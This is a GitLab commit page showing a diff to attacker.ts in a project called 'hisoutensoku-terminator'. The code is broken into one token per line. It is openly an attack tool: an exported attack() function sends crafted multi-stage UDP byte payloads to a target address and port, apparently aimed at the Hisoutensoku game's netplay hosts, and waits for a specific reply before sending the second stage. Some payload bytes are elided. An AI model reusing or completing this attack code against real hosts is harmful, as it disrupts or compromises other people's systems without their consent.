Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
H
hisoutensoku-terminator
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
hisoutensoku-terminator
Commits
969d1860
Commit
969d1860
authored
Jun 06, 2020
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
improve
parent
2082b861
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
10 additions
and
6 deletions
+10
-6
attacker.ts
attacker.ts
+10
-6
No files found.
attacker.ts
View file @
969d1860
import
*
as
dgram
from
"
dgram
"
;
import
*
as
_
from
"
underscore
"
;
const
message
_s
tage1
=
[
const
message
S
tage1
=
[
1
,
2
,
0
,
42
,
49
,
127
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
2
,
0
,
42
,
49
,
127
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
109
,
44
,
0
,
0
];
const
message_stage2
=
[
const
messageToWait
=
[
3
];
const
messageStage2
=
[
5
,
110
,
115
,
101
,
217
,
255
,
196
,
110
,
72
,
141
,
124
,
161
,
146
,
49
,
52
,
114
,
149
,
16
,
0
,
1
,
0
,
40
,
0
,
0
,
0
,
1
,
9
,
112
,
114
,
111
,
102
,
105
,
108
,
101
,
49
,
112
,
...
...
@@ -26,7 +30,7 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean>
const
intv
=
setInterval
(
sendMessage
,
500
,
socket
,
intervalMessage
);
return
new
Promise
(
done
=>
{
socket
.
once
(
"
message
"
,
(
msg
:
Buffer
,
rinfo
:
any
)
=>
{
if
(
msg
.
length
===
1
&&
msg
.
readUInt8
(
0
)
===
3
)
{
if
(
_
.
isEqual
(
msg
.
toJSON
().
data
,
messageToWait
)
)
{
clearInterval
(
intv
);
done
(
true
);
}
...
...
@@ -47,15 +51,15 @@ export async function attack(address: string, port: number): Promise<string> {
if
(
err
)
{
return
`Failed to connect:
${
err
.
toString
()}
`
;
}
err
=
await
sendMessage
(
socket
,
message
_s
tage1
);
err
=
await
sendMessage
(
socket
,
message
S
tage1
);
if
(
err
)
{
return
`Failed to send stage 1:
${
err
.
toString
()}
`
;
}
//console.log("Waiting for reply...");
if
(
!
await
waitForReply
(
socket
,
message
_s
tage1
))
{
if
(
!
await
waitForReply
(
socket
,
message
S
tage1
))
{
return
`Empty reply.`
;
}
err
=
await
sendMessage
(
socket
,
message
_s
tage2
);
err
=
await
sendMessage
(
socket
,
message
S
tage2
);
if
(
err
)
{
return
`Failed to send stage 2:
${
err
.
toString
()}
`
;
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment